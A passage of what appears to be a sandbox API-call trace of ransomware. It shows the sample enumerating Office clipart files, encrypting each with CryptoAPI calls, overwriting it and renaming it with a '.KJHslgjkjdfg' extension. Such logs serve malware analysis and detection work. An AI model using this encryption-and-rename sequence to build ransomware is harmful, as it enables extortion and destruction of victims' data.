lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.145] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.146] GetProcessHeap () returned 0x2a0000 [0192.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.146] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.146] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.146] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.146] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.147] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.147] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf8c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf8c, lpOverlapped=0x0) returned 1 [0192.147] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf90, dwBufLen=0xf90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf90) returned 1 [0192.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.147] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf90, lpOverlapped=0x0) returned 1 [0192.147] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.147] SetEndOfFile (hFile=0x114) returned 1 [0192.150] GetProcessHeap () returned 0x2a0000 [0192.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.150] GetProcessHeap () returned 0x2a0000 [0192.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.kjhslgjkjdfg")) returned 1 [0192.152] CloseHandle (hObject=0x114) returned 1 [0192.152] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1 [0192.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.153] GetProcessHeap () returned 0x2a0000 [0192.153] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.153] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.153] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0192.180] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.180] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.180] GetProcessHeap () returned 0x2a0000 [0192.180] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.180] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.180] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.180] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.181] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.181] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.181] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.181] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf74, lpOverlapped=0x0) returned 1 [0192.181] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80, dwBufLen=0xf80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf80) returned 1 [0192.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.181] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf80, lpOverlapped=0x0) returned 1 [0192.181] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.181] SetEndOfFile (hFile=0x114) returned 1 [0192.185] GetProcessHeap () returned 0x2a0000 [0192.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.185] GetProcessHeap () returned 0x2a0000 [0192.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.kjhslgjkjdfg")) returned 1 [0192.187] CloseHandle (hObject=0x114) returned 1 [0192.187] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1 [0192.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.189] GetProcessHeap () returned 0x2a0000 [0192.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.189] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.191] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.191] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.191] GetProcessHeap () returned 0x2a0000 [0192.191] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.191] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.191] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.191] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.192] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.192] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.192] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.192] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.192] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.192] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15bc, lpOverlapped=0x0) returned 1 [0192.193] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15c0) returned 1 [0192.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.193] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15c0, lpOverlapped=0x0) returned 1 [0192.193] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.193] SetEndOfFile (hFile=0x114) returned 1 [0192.196] GetProcessHeap () returned 0x2a0000 [0192.196] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.196] GetProcessHeap () returned 0x2a0000 [0192.196] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.kjhslgjkjdfg")) returned 1 [0192.198] CloseHandle (hObject=0x114) returned 1 [0192.198] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1 [0192.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.200] GetProcessHeap () returned 0x2a0000 [0192.200] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.200] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.200] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.202] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.202] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.202] GetProcessHeap () returned 0x2a0000 [0192.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.202] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.202] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.203] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.203] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.203] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.203] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.203] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.203] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1da8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1da8, lpOverlapped=0x0) returned 1 [0192.211] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1db0) returned 1 [0192.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.211] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1db0, lpOverlapped=0x0) returned 1 [0192.212] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.212] SetEndOfFile (hFile=0x114) returned 1 [0192.214] GetProcessHeap () returned 0x2a0000 [0192.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.214] GetProcessHeap () returned 0x2a0000 [0192.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.kjhslgjkjdfg")) returned 1 [0192.223] CloseHandle (hObject=0x114) returned 1 [0192.223] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1 [0192.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.226] GetProcessHeap () returned 0x2a0000 [0192.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.226] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.226] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.228] GetProcessHeap () returned 0x2a0000 [0192.228] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.229] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.229] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.229] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, 